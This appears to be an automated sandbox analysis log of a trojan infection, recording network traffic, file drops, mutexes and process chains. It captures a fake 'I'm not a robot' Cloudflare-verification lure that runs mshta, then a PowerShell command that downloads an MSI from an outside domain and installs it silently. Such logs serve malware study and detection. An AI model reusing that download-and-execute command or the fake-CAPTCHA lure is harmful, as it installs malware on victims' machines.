Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49673
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.16:49707 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.217.165.132:443 -> 192.168.2.16:49711 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.27.152:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.66.133:443 -> 192.168.2.16:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.27.152:443 -> 192.168.2.16:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.27.152:443 -> 192.168.2.16:49751 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.130.133:443 -> 192.168.2.16:49753 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.130.133:443 -> 192.168.2.16:49754 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.16:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.66.133:443 -> 192.168.2.16:49759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.66.133:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49803 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.16:49822 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.69.191:443 -> 192.168.2.16:49823 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.3.74:443 -> 192.168.2.16:49825 version: TLS 1.2

System Summary
barindex
Drops large PE files
Source: C:\Windows\System32\msiexec.exe File dump: launchultra.exe.18.dr 507847807 Jump to dropped file
Creates files inside the system directory
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Windows\SystemTemp\scoped_dir6948_1511851748
Source: C:\Windows\System32\svchost.exe File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\6ce13a.msi
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIE263.tmp
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIE2F1.tmp
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIE340.tmp
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIE370.tmp
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\inprogressinstallinfo.ipi
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\SourceHash{E3205E05-7972-45C4-8321-B26BB5BCDBB2}
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSIE3DE.tmp
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\6ce13d.msi
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\6ce13d.msi
Deletes files inside the Windows folder
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File deleted: C:\Windows\SystemTemp\scoped_dir6948_1511851748
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: classification engine Classification label: mal100.troj.evad.win@42/79@25/186
Source: C:\Windows\System32\mshta.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\2M32Q1FN
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Mutant created: NULL
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Mutant created: \Sessions\1\BaseNamedObjects\Avira.Security.Systray@abff403a-9b56-48e6-8753-10fb19692501
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Mutant created: \Sessions\1\BaseNamedObjects\BISKVFCOWY
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4384:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2292:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Mutant created: \Sessions\1\BaseNamedObjects\82c1709aac9f4369ad38604500b6d8d2
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Mutant created: \Sessions\1\BaseNamedObjects\Zuferssx
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u0mjy5iq.2cs.ps1
Source: C:\Windows\System32\mshta.exe File read: C:\Users\user\Desktop\desktop.ini
Source: C:\Windows\System32\svchost.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS
Source: unknown Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1964,i,5450519922198028058,4023602434265028325,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=1888 /prefetch:3
Source: unknown Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ravinn.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1964,i,5450519922198028058,4023602434265028325,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=1888 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: unknown Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://servverifcloud.com/ # I ?m not a robot: ?l?udflare V?rific?tion ID: 0?0-G??
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iwr https://mfktiaoaolfkfjzjk.com/plu -OutFile C:\Users\Public\7bc.msi; msiexec /i C:\Users\Public\7bc.msi /qn"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iwr https://mfktiaoaolfkfjzjk.com/plu -OutFile C:\Users\Public\7bc.msi; msiexec /i C:\Users\Public\7bc.msi /qn"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe" /i C:\Users\Public\7bc.msi /qn
Source: unknown Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 58173891FD6DF8D2CFA7B3CDEE856639
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe" /i C:\Users\Public\7bc.msi /qn
Source: C:\Windows\System32\msiexec.exe Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 58173891FD6DF8D2CFA7B3CDEE856639
Source: C:\Windows\System32\msiexec.exe Process created: C:\Users\user\AppData\Local\Inkberry\launchultra.exe "C:\Users\user\AppData\Local\Inkberry\launchultra.exe"
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Process created: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe C:\Users\user\AppData\Local\Temp\73763\CasPol.exe
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Process created: C:\Windows\SysWOW64\gpupdate.exe C:\Windows\SysWOW64\gpupdate.exe
Source: C:\Windows\SysWOW64\gpupdate.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process created: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe "C:\Users\user\AppData\Local\Temp\73763\CasPol.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Process created: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe C:\Users\user\AppData\Local\Temp\73763\CasPol.exe
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Process created: C:\Windows\SysWOW64\gpupdate.exe C:\Windows\SysWOW64\gpupdate.exe
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process created: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe "C:\Users\user\AppData\Local\Temp\73763\CasPol.exe"
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mpr.dll
Source: C:\Windows\System32\mshta.exe Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: mshtml.dll
Source: C:\Windows\System32\mshta.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\mshta.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\mshta.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\mshta.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: wkscli.dll
Source: C:\Windows\System32\mshta.exe Section loaded: netutils.dll
Source: C:\Windows\System32\mshta.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\mshta.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\mshta.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\mshta.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\mshta.exe Section loaded: msiso.dll
Source: C:\Windows\System32\mshta.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\mshta.exe Section loaded: srpapi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: wininet.dll
Source: C:\Windows\System32\mshta.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\mshta.exe Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: profapi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\mshta.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\mshta.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: ieframe.dll
Source: C:\Windows\System32\mshta.exe Section loaded: netapi32.dll
Source: C:\Windows\System32\mshta.exe Section loaded: version.dll
Source: C:\Windows\System32\mshta.exe Section loaded: userenv.dll
Source: C:\Windows\System32\mshta.exe Section loaded: msimtf.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dxgi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\mshta.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: textinputframework.dll
Source: C:\Windows\System32\mshta.exe Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\mshta.exe Section loaded: coremessaging.dll
Source: C:\Windows\System32\mshta.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dataexchange.dll
Source: C:\Windows\System32\mshta.exe Section loaded: d3d11.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dcomp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\mshta.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\mshta.exe Section loaded: schannel.dll
Source: C:\Windows\System32\mshta.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\mshta.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\mshta.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\mshta.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\mshta.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\mshta.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: jscript9.dll
Source: C:\Windows\System32\mshta.exe Section loaded: mpr.dll
Source: C:\Windows\System32\mshta.exe Section loaded: scrrun.dll
Source: C:\Windows\System32\mshta.exe Section loaded: sxs.dll
Source: C:\Windows\System32\mshta.exe Section loaded: propsys.dll
Source: C:\Windows\System32\mshta.exe Section loaded: edputil.dll
Source: C:\Windows\System32\mshta.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\mshta.exe Section loaded: appresolver.dll
Source: C:\Windows\System32\mshta.exe Section loaded: bcp47langs.dll
Source: C:\Windows\System32\mshta.exe Section loaded: slc.dll
Source: C:\Windows\System32\mshta.exe Section loaded: sppc.dll
Source: C:\Windows\System32\mshta.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\mshta.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
